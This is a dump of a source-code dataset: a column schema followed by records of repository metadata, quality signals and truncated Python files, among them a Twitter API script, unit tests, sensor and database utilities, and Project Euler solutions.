hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
f9d1997f64b2f822642e79702c8e36b5089e93ba
2,153
py
Python
Stream-2/Back-End-Development/22.Twitter-API-Tweets-Two-Intro/2.Tweet-Popularity/retweet_popularity.py
GunnerJnr/_CodeInstitute
efba0984a3dc71558eef97724c85e274a712798c
[ "MIT" ]
4
2017-10-10T14:00:40.000Z
2021-01-27T14:08:26.000Z
Stream-2/Back-End-Development/22.Twitter-API-Tweets-Two-Intro/2.Tweet-Popularity/retweet_popularity.py
GunnerJnr/_CodeInstitute
efba0984a3dc71558eef97724c85e274a712798c
[ "MIT" ]
115
2019-10-24T11:18:33.000Z
2022-03-11T23:15:42.000Z
Stream-2/Back-End-Development/22.Twitter-API-Tweets-Two-Intro/2.Tweet-Popularity/retweet_popularity.py
GunnerJnr/_CodeInstitute
efba0984a3dc71558eef97724c85e274a712798c
[ "MIT" ]
5
2017-09-22T21:42:39.000Z
2020-02-07T02:18:11.000Z
import json import tweepy from tweepy import OAuthHandler from collections import Counter from prettytable import PrettyTable from operator import itemgetter # Replace these values with our own twitter app settings CONSUMER_KEY = '1234xyz' CONSUMER_SECRET = '1234xyz' OAUTH_TOKEN = '2535164173-1234xyz' OAUTH_TOKEN_SEC...
37.12069
91
0.757083
323
2,153
4.931889
0.452012
0.037665
0.030132
0.022599
0
0
0
0
0
0
0
0.020259
0.17464
2,153
57
92
37.77193
0.876196
0.458895
0
0
0
0
0.113438
0
0
0
0
0
0
0
null
null
0
0.206897
null
null
0.034483
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f9d1f45f4fab04ea73d6acc3d0a47f39d4963f2d
9,513
py
Python
clipspy-1.0.0/test/classes_test.py
bauman/clips-rules-rebuild
427a44b7c9641e5c24ca516034c942375bdf2a74
[ "BSD-3-Clause" ]
108
2018-02-07T18:51:46.000Z
2022-03-30T13:29:42.000Z
clipspy-1.0.0/test/classes_test.py
bauman/clips-rules-rebuild
427a44b7c9641e5c24ca516034c942375bdf2a74
[ "BSD-3-Clause" ]
49
2018-07-30T18:44:51.000Z
2022-03-15T09:29:09.000Z
clipspy-1.0.0/test/classes_test.py
bauman/clips-rules-rebuild
427a44b7c9641e5c24ca516034c942375bdf2a74
[ "BSD-3-Clause" ]
23
2017-10-21T13:23:01.000Z
2022-03-13T04:24:21.000Z
import os import unittest from tempfile import mkstemp from clips import Environment, Symbol, InstanceName from clips import CLIPSError, ClassDefaultMode, LoggingRouter DEFCLASSES = [ """ (defclass AbstractClass (is-a USER) (role abstract)) """, """(defclass InheritClass (is-a AbstractClass))""...
34.718978
89
0.646274
977
9,513
6.192426
0.16172
0.047438
0.034545
0.03438
0.444298
0.360661
0.316694
0.195041
0.186777
0.149091
0
0.001227
0.22874
9,513
273
90
34.846154
0.823361
0.025754
0
0.254054
0
0
0.122877
0.010487
0
0
0
0
0.405405
1
0.07027
false
0
0.027027
0
0.118919
0.005405
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
1
f9d58e7ca6ad8c0e239fb7cd94aa59899cac177c
264
py
Python
tests/test_singleton.py
jjaros587/selenium_generator
9653d880f7603e374a0f210bd1fcfedf2f1fd717
[ "MIT" ]
1
2020-08-24T18:40:37.000Z
2020-08-24T18:40:37.000Z
tests/test_singleton.py
jjaros587/selenium_generator
9653d880f7603e374a0f210bd1fcfedf2f1fd717
[ "MIT" ]
null
null
null
tests/test_singleton.py
jjaros587/selenium_generator
9653d880f7603e374a0f210bd1fcfedf2f1fd717
[ "MIT" ]
null
null
null
import unittest from selenium_generator.base.singleton import singleton @singleton class TestClass: pass class SingletonTest(unittest.TestCase): def test_singleton(self): a = TestClass() b = TestClass() self.assertTrue(a is b)
16.5
55
0.69697
30
264
6.066667
0.633333
0
0
0
0
0
0
0
0
0
0
0
0.227273
264
15
56
17.6
0.892157
0
0
0
0
0
0
0
0
0
0
0
0.1
1
0.1
false
0.1
0.2
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
f9e51fc9bad9ee8b07c7e88ca6683b8776b0b78f
4,254
py
Python
pytorchrl/distributions/diagonal_gaussian.py
nosyndicate/PyTorchRL
c4fb69ffebaa7f56b4210388f9eea7d42ca853e4
[ "MIT" ]
48
2018-02-24T17:17:56.000Z
2021-11-09T08:02:47.000Z
pytorchrl/distributions/diagonal_gaussian.py
nosyndicate/PyTorchRL
c4fb69ffebaa7f56b4210388f9eea7d42ca853e4
[ "MIT" ]
5
2017-10-06T15:00:43.000Z
2020-02-12T00:34:59.000Z
pytorchrl/distributions/diagonal_gaussian.py
nosyndicate/PyTorchRL
c4fb69ffebaa7f56b4210388f9eea7d42ca853e4
[ "MIT" ]
8
2018-05-21T22:16:05.000Z
2020-09-30T22:12:17.000Z
import numpy as np import torch from pytorchrl.distributions.base import Distribution from pytorchrl.misc.tensor_utils import constant class DiagonalGaussian(Distribution): """ Instead of a distribution, rather a collection of distribution. """ def __init__(self, means, log_stds): """ ...
32.976744
147
0.570992
608
4,254
3.830592
0.273026
0.066123
0.02748
0.010305
0.209103
0.14255
0.139545
0.098755
0.073851
0.045513
0
0.041068
0.295957
4,254
128
148
33.234375
0.736561
0.54772
0
0
0
0
0
0
0
0
0
0.015625
0
1
0.172414
false
0
0.137931
0
0.482759
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
f9e9bbfdc1ca35194449664c40b0575377b6e880
2,337
py
Python
python/allumettes/allumettes.py
M0n0xy2/mpsi_python_cours
9c02ca52f7db8f995e20cba4ce3fd5e7866ae11e
[ "MIT" ]
1
2019-10-26T13:16:59.000Z
2019-10-26T13:16:59.000Z
python/allumettes/allumettes.py
M0n0xy2/mpsi_python_cours
9c02ca52f7db8f995e20cba4ce3fd5e7866ae11e
[ "MIT" ]
null
null
null
python/allumettes/allumettes.py
M0n0xy2/mpsi_python_cours
9c02ca52f7db8f995e20cba4ce3fd5e7866ae11e
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf_8 -*- import sys import random def print_allumettes(n): """Fonction simple qui affiche les allumettes (juste du design)""" to_print = "\n" to_print += " " + "*"*n + "\n" to_print += " " + "|"*n + "\n" # to_print += " " + "|"*n + "\n" print(to_print)...
25.681319
119
0.561831
301
2,337
4.212625
0.33887
0.060726
0.088328
0.021293
0.185331
0.177445
0.160883
0.07571
0.022082
0
0
0.015588
0.286264
2,337
90
120
25.966667
0.744604
0.105691
0
0.245614
0
0
0.151768
0
0.035088
0
0
0
0
1
0.22807
false
0
0.035088
0
0.350877
0.245614
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
f9eae8cd3a44b4d81088e72f87e1e654a23e0f71
53,140
py
Python
pyNastran/op2/op2.py
als0052/pyNastran
8493323c30475d1fc3238eed7480bfe9015ce233
[ "BSD-3-Clause" ]
null
null
null
pyNastran/op2/op2.py
als0052/pyNastran
8493323c30475d1fc3238eed7480bfe9015ce233
[ "BSD-3-Clause" ]
null
null
null
pyNastran/op2/op2.py
als0052/pyNastran
8493323c30475d1fc3238eed7480bfe9015ce233
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python3 # Filename: op2.py """ Defines the main OP2 class. Defines: - read_op2(op2_filename=None, combine=True, subcases=None, exclude_results=None, include_results=None, log=None, debug=True, debug_file=None, build_dataframe=False, skip_undefined_matrices=True, mo...
38.703569
102
0.54714
5,872
53,140
4.766689
0.126362
0.011254
0.008574
0.005431
0.401036
0.354055
0.292855
0.266917
0.239121
0.217078
0
0.014167
0.369063
53,140
1,372
103
38.731778
0.820657
0.31274
0
0.30663
0
0
0.096662
0.011491
0
0
0
0.020408
0.009669
1
0.044199
false
0
0.030387
0.001381
0.122928
0.008287
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
dda3b12096076b7e333cb16b86a1b51c19b2cb4c
246
py
Python
aio_graphite_api/routes/find.py
yunstanford/aio-graphite-api
819b82c451c23ce5928e711202bde79a5399c3da
[ "Apache-2.0" ]
1
2016-12-09T04:14:16.000Z
2016-12-09T04:14:16.000Z
aio_graphite_api/routes/find.py
yunstanford/aio-graphite-api
819b82c451c23ce5928e711202bde79a5399c3da
[ "Apache-2.0" ]
1
2017-02-06T22:15:07.000Z
2017-02-06T23:01:04.000Z
aio_graphite_api/routes/find.py
yunstanford/aio-graphite-api
819b82c451c23ce5928e711202bde79a5399c3da
[ "Apache-2.0" ]
null
null
null
# graphite web find api import aiohttp_transmute @aiohttp_transmute.describe(methods="GET", paths="/metrics/find/") async def find(request, query, from=None, util=None): return {} def add_find_api(app): app.router.add_transmute_route(find)
20.5
66
0.764228
36
246
5.055556
0.666667
0.076923
0
0
0
0
0
0
0
0
0
0
0.105691
246
11
67
22.363636
0.827273
0.085366
0
0
0
0
0.076233
0
0
0
0
0
0
0
null
null
0
0.166667
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
dda5840b9155eb034bcea86e03094ddb06280e96
735
py
Python
pisces_deps/ultrasound.py
wuyue92tree/pisces_deps
bc6cb67e8fe9d94da00c1d98a424ca60f7b9336c
[ "MIT" ]
null
null
null
pisces_deps/ultrasound.py
wuyue92tree/pisces_deps
bc6cb67e8fe9d94da00c1d98a424ca60f7b9336c
[ "MIT" ]
null
null
null
pisces_deps/ultrasound.py
wuyue92tree/pisces_deps
bc6cb67e8fe9d94da00c1d98a424ca60f7b9336c
[ "MIT" ]
null
null
null
import RPi.GPIO as GPIO import time class Ultrasound(object): """ 超声波测距模块HC-SR04 trig, echo对应树莓派的GPIO接口 mode为GPIO接口使用的模式 """ def __init__(self, trig, echo, mode=GPIO.BCM): self.trig = trig self.echo = echo GPIO.setwarnings(False) GPIO.setmode(mode) GPIO....
25.344828
57
0.576871
93
735
4.516129
0.451613
0.095238
0.085714
0.085714
0.204762
0
0
0
0
0
0
0.031311
0.304762
735
29
58
25.344828
0.790607
0.073469
0
0.095238
0
0
0
0
0
0
0
0
0
1
0.095238
false
0.095238
0.095238
0
0.285714
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
dda6c6e42c56b8b1f27e9cdf1d8d33963e0dcd40
1,657
py
Python
vanir/ext/vanirmanager.py
VanirLab/VOS
e6cb3e4e391e583e98d548292b5f272320d38cc4
[ "MIT" ]
null
null
null
vanir/ext/vanirmanager.py
VanirLab/VOS
e6cb3e4e391e583e98d548292b5f272320d38cc4
[ "MIT" ]
null
null
null
vanir/ext/vanirmanager.py
VanirLab/VOS
e6cb3e4e391e583e98d548292b5f272320d38cc4
[ "MIT" ]
null
null
null
import dbus import vanir.ext class VanirManager(vanir.ext.Extension): def __init__(self, *args, **kwargs): super(VanirManager, self).__init__(*args, **kwargs) try: self._system_bus = dbus.SystemBus() except dbus.exceptions.DBusException: # we can't access ...
38.534884
77
0.596258
188
1,657
5.06383
0.382979
0.063025
0.081933
0.044118
0.554622
0.554622
0.554622
0.554622
0.554622
0.554622
0
0
0.31201
1,657
43
78
38.534884
0.835088
0.157514
0
0.575758
0
0
0.128243
0.108228
0
0
0
0
0
1
0.090909
false
0.060606
0.060606
0
0.242424
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
ddb7e33f90321dafc216f918a4095d53ba7ca26b
255
py
Python
xgboost_ray/examples/create_test_data.py
edoakes/xgboost_ray
1e16381f42c523caa854bd625ddb969553fee87d
[ "Apache-2.0" ]
80
2020-10-13T10:10:05.000Z
2022-03-25T12:16:47.000Z
xgboost_ray/examples/create_test_data.py
edoakes/xgboost_ray
1e16381f42c523caa854bd625ddb969553fee87d
[ "Apache-2.0" ]
104
2020-11-07T11:06:29.000Z
2022-03-29T07:48:21.000Z
xgboost_ray/examples/create_test_data.py
edoakes/xgboost_ray
1e16381f42c523caa854bd625ddb969553fee87d
[ "Apache-2.0" ]
22
2020-10-13T10:10:07.000Z
2022-02-20T08:51:58.000Z
from xgboost_ray.tests.utils import create_parquet def main(): create_parquet( "example.parquet", num_rows=1_000_000, num_partitions=100, num_features=8, num_classes=2) if __name__ == "__main__": main()
17
50
0.631373
32
255
4.5
0.71875
0.180556
0
0
0
0
0
0
0
0
0
0.064516
0.270588
255
14
51
18.214286
0.709677
0
0
0
0
0
0.090196
0
0
0
0
0
0
1
0.1
true
0
0.1
0
0.2
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
ddc1803abcc69e493f92e0b6655a0a341bd9f1e2
16,976
py
Python
tests/test_records.py
oleksiyfesyk/wfdb-mod
18834726c00248b738d6f23c835f0d0254aeddc6
[ "MIT" ]
null
null
null
tests/test_records.py
oleksiyfesyk/wfdb-mod
18834726c00248b738d6f23c835f0d0254aeddc6
[ "MIT" ]
null
null
null
tests/test_records.py
oleksiyfesyk/wfdb-mod
18834726c00248b738d6f23c835f0d0254aeddc6
[ "MIT" ]
null
null
null
import wfdb import numpy as np import os # Target files created using the original WFDB Software Package version 10.5.24 class test_rdsamp(): # ---------------------------- 1. Basic Tests ---------------------------- # # Format 16/Entire signal/Digital # Target file created with: rdsamp -r sampledata/tes...
45.269333
137
0.639786
2,077
16,976
5.150698
0.13818
0.027108
0.01075
0.038699
0.792111
0.759488
0.675827
0.644887
0.554029
0.497009
0
0.081384
0.242165
16,976
374
138
45.390374
0.750175
0.3545
0
0.414894
0
0
0.153399
0.093903
0
0
0
0
0.196809
1
0.106383
false
0
0.015957
0
0.12766
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
ddcf1ee6ab932faf63c270a0e21424a16f4166e1
3,310
py
Python
arduino/main.py
guilhermealves3340/DataBase
487445a8789a580c50774ee0cd4f3429f01cd231
[ "MIT" ]
1
2020-04-02T23:19:48.000Z
2020-04-02T23:19:48.000Z
arduino/main.py
guilhermealves3340/DataBase
487445a8789a580c50774ee0cd4f3429f01cd231
[ "MIT" ]
null
null
null
arduino/main.py
guilhermealves3340/DataBase
487445a8789a580c50774ee0cd4f3429f01cd231
[ "MIT" ]
1
2020-04-04T17:56:33.000Z
2020-04-04T17:56:33.000Z
# -*- coding: utf-8 -*- import psycopg2 as pg import serial import time from datetime import datetime now = None porta = str(input("[ACM... : ]")) device = '/dev/ttyACM'+porta port = serial.Serial(device, 9600) def ponto(row): x = 0 for i in row: if i: x = x +1 if x == 0: ...
26.062992
129
0.483988
377
3,310
4.238727
0.355438
0.012516
0.032541
0.047559
0.302253
0.273467
0.255319
0.214018
0.214018
0.180851
0
0.02445
0.382175
3,310
127
130
26.062992
0.756968
0.067372
0
0.356322
0
0
0.224821
0.017869
0
0
0
0
0
0
null
null
0.045977
0.045977
null
null
0.126437
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
ddcf963a37a0485cf5aeb447cd187f4e4f41bf5a
2,003
py
Python
bin/rsync_two_hdfs.py
DuinoDu/scripts
b69f8ab5d41d754bda5aa8ed2dc79b22d936da43
[ "MIT" ]
7
2018-02-12T04:17:49.000Z
2021-09-07T09:52:48.000Z
bin/rsync_two_hdfs.py
DuinoDu/scripts
b69f8ab5d41d754bda5aa8ed2dc79b22d936da43
[ "MIT" ]
null
null
null
bin/rsync_two_hdfs.py
DuinoDu/scripts
b69f8ab5d41d754bda5aa8ed2dc79b22d936da43
[ "MIT" ]
1
2017-12-13T03:06:27.000Z
2017-12-13T03:06:27.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import print_function import argparse import os try: import commands except Exception as e: import subprocess as commands def run(cmd): print("run \"%s\"" % cmd) (status, output) = commands.getstatusoutput(cmd) return output def main...
34.534483
121
0.632052
304
2,003
4.072368
0.305921
0.058158
0.068659
0.031502
0.296446
0.249596
0.233441
0.199515
0.167205
0.082391
0
0.021144
0.197204
2,003
57
122
35.140351
0.748756
0.078882
0
0
0
0
0.186211
0.034745
0
0
0
0
0
0
null
null
0
0.121951
null
null
0.073171
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
ddd91e79d3ef3ca7b9e6310c66b887d538c8ac23
3,237
py
Python
browsing/tables.py
acdh-oeaw/vhioe
83c8bce83d7cb21150f404409477d2cd1c7ee240
[ "MIT" ]
null
null
null
browsing/tables.py
acdh-oeaw/vhioe
83c8bce83d7cb21150f404409477d2cd1c7ee240
[ "MIT" ]
10
2020-02-11T23:56:16.000Z
2021-12-13T19:45:38.000Z
browsing/tables.py
acdh-oeaw/vhioe
83c8bce83d7cb21150f404409477d2cd1c7ee240
[ "MIT" ]
null
null
null
import django_tables2 as tables from django_tables2.utils import A from entries.models import Eintrag, Band, Archiv, Institution, Person, Bearbeiter class EintragTable(tables.Table): aktenzahl = tables.LinkColumn( 'entries:eintrag_detail', args=[A('pk')], verbose_name='Akteneintrag') band_archiv = tab...
34.806452
96
0.667902
372
3,237
5.698925
0.188172
0.124528
0.207547
0.036792
0.570283
0.512736
0.416509
0.379717
0.296698
0.296698
0
0.00076
0.186593
3,237
92
97
35.184783
0.804406
0.118319
0
0.4
0
0
0.204362
0.041857
0
0
0
0
0
1
0.016667
false
0
0.05
0
0.683333
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
dddc5e088b17155df49d3853190a1e8272d61a9d
7,693
py
Python
src/transferlearning/data_preparation.py
SandraPrestel/deep-sleep-transfer
eea2335513c7a2f3babdd5b00303c58fa9acde36
[ "MIT" ]
12
2020-10-07T00:53:32.000Z
2022-03-09T05:40:52.000Z
src/transferlearning/data_preparation.py
SandraPrestel/deep-sleep-transfer
eea2335513c7a2f3babdd5b00303c58fa9acde36
[ "MIT" ]
null
null
null
src/transferlearning/data_preparation.py
SandraPrestel/deep-sleep-transfer
eea2335513c7a2f3babdd5b00303c58fa9acde36
[ "MIT" ]
5
2020-12-07T22:25:40.000Z
2022-01-13T07:03:49.000Z
# @sp: newly created import os import sys sys.path.append(os.getcwd()) # puts all uploaded python modules into the python path sys.path.append('/input/src/') import params.polyaxon_parsing_iitnet_cnn_lstm as pp3 import random import shutil from data.process_data import process_data from params.Params_Winslow impor...
36.287736
111
0.657221
1,006
7,693
4.822068
0.184891
0.081633
0.051948
0.021027
0.720058
0.689136
0.682952
0.661307
0.646052
0.646052
0
0.0057
0.22462
7,693
211
112
36.459716
0.807544
0.261147
0
0.615385
0
0
0.259824
0.057061
0
0
0
0
0
1
0.034188
false
0
0.068376
0
0.102564
0.247863
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
dde2f2f29047597defd6713f39fe49bbb14f8447
595
py
Python
euler2.py
josephhaddad55/project-euler
29f6dd1a424d15da9f737a9b9aa11705f5761a65
[ "MIT" ]
null
null
null
euler2.py
josephhaddad55/project-euler
29f6dd1a424d15da9f737a9b9aa11705f5761a65
[ "MIT" ]
null
null
null
euler2.py
josephhaddad55/project-euler
29f6dd1a424d15da9f737a9b9aa11705f5761a65
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # Each new term in the Fibonacci sequence is generated by adding the previous two terms. By starting with 1 and 2, # the first 10 terms will be: 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ... By considering the terms in the Fibonacci # sequence whose values do not exceed four million, find the sum of th...
31.315789
114
0.620168
102
595
3.480392
0.617647
0.016901
0.078873
0.123944
0
0
0
0
0
0
0
0.079812
0.284034
595
18
115
33.055556
0.753521
0.557983
0
0
1
0
0.030888
0
0
0
0
0
0.090909
1
0.090909
false
0
0
0
0.181818
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
dde3af84abb21959c5489363d1974d9bc1bead79
626
py
Python
association_rule_learning/apriori.py
Frost199/Machine_Learning
8cf77c6cbbae7781ac6f2ffcc9218ad79472d287
[ "MIT" ]
null
null
null
association_rule_learning/apriori.py
Frost199/Machine_Learning
8cf77c6cbbae7781ac6f2ffcc9218ad79472d287
[ "MIT" ]
null
null
null
association_rule_learning/apriori.py
Frost199/Machine_Learning
8cf77c6cbbae7781ac6f2ffcc9218ad79472d287
[ "MIT" ]
1
2020-05-23T16:46:52.000Z
2020-05-23T16:46:52.000Z
# -*- coding: utf-8 -*- """ Created on Tue May 1 11:49:06 2018 @author: Eleam Emmanuel """ # Apriori # Importing the libraries import pandas as pd import matplotlib matplotlib.use('Qt4Agg') import numpy as np import matplotlib.pyplot as plt from apyori import apriori # Importing the dataset with no titles...add h...
23.185185
73
0.723642
95
626
4.736842
0.673684
0.071111
0.084444
0
0
0
0
0
0
0
0
0.040385
0.169329
626
26
74
24.076923
0.825
0.399361
0
0
0
0
0.099174
0.082645
0
0
0
0
0
1
0
false
0
0.454545
0
0.454545
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
dde41b27716a26f9529d852279751a37ff607982
526
py
Python
viewslide.py
encela95dus/ios_pythonista_examples
e136cdcb05126f0f9b9f6fb6365870876b419619
[ "MIT" ]
36
2019-01-12T04:17:49.000Z
2022-03-31T05:33:29.000Z
viewslide.py
Backup-eric645/ios_pythonista_examples
e136cdcb05126f0f9b9f6fb6365870876b419619
[ "MIT" ]
null
null
null
viewslide.py
Backup-eric645/ios_pythonista_examples
e136cdcb05126f0f9b9f6fb6365870876b419619
[ "MIT" ]
15
2018-12-30T21:18:05.000Z
2022-01-30T13:17:07.000Z
import ui def hide_action(sender): s = sender.superview s['view1'].hidden = True s2 = s['view2'] def a(): s2.transform=ui.Transform.scale(1.0, 1.33).concat(ui.Transform.translation(0,-100)) ui.animate(a, 1.0) def reveal_action(sender): s = sender.superview s2 = s['view2'] ...
22.869565
91
0.595057
81
526
3.82716
0.37037
0.032258
0.083871
0.122581
0.716129
0.270968
0.270968
0.270968
0.270968
0.270968
0
0.066667
0.230038
526
22
92
23.909091
0.698765
0
0
0.470588
0
0
0.047529
0
0
0
0
0
0
1
0.235294
false
0
0.058824
0
0.294118
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
dde943249cdde7071d2979794b335745bb1b9b38
306
py
Python
p010.py
jorgemira/euler-py
20406c7accd85e5c917c08cd739134e47d1c5e2f
[ "Apache-2.0" ]
null
null
null
p010.py
jorgemira/euler-py
20406c7accd85e5c917c08cd739134e47d1c5e2f
[ "Apache-2.0" ]
null
null
null
p010.py
jorgemira/euler-py
20406c7accd85e5c917c08cd739134e47d1c5e2f
[ "Apache-2.0" ]
null
null
null
'''Problem 10 from project Euler: Summation of primes https://projecteuler.net/problem=10''' from utils import eratosthenes2 RESULT = 142913828922 def solve(): '''Main function''' max_primes = 2000000 return sum(eratosthenes2(max_primes)) if __name__ == '__main__': print solve()
14.571429
53
0.699346
36
306
5.666667
0.75
0.088235
0.127451
0
0
0
0
0
0
0
0
0.100402
0.186275
306
20
54
15.3
0.718876
0
0
0
0
0
0.041026
0
0
0
0
0
0
0
null
null
0
0.142857
null
null
0.142857
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
ddf6e5264214d305828daa2c8fbf6258fae3bcab
1,117
py
Python
forocacao/app/management/commands/badges.py
javierwilson/resilienciacafe
303615e1e3c9bd9ed9e5e7b7ccab0d8a061dc3fc
[ "BSD-3-Clause" ]
null
null
null
forocacao/app/management/commands/badges.py
javierwilson/resilienciacafe
303615e1e3c9bd9ed9e5e7b7ccab0d8a061dc3fc
[ "BSD-3-Clause" ]
null
null
null
forocacao/app/management/commands/badges.py
javierwilson/resilienciacafe
303615e1e3c9bd9ed9e5e7b7ccab0d8a061dc3fc
[ "BSD-3-Clause" ]
1
2020-10-24T20:47:17.000Z
2020-10-24T20:47:17.000Z
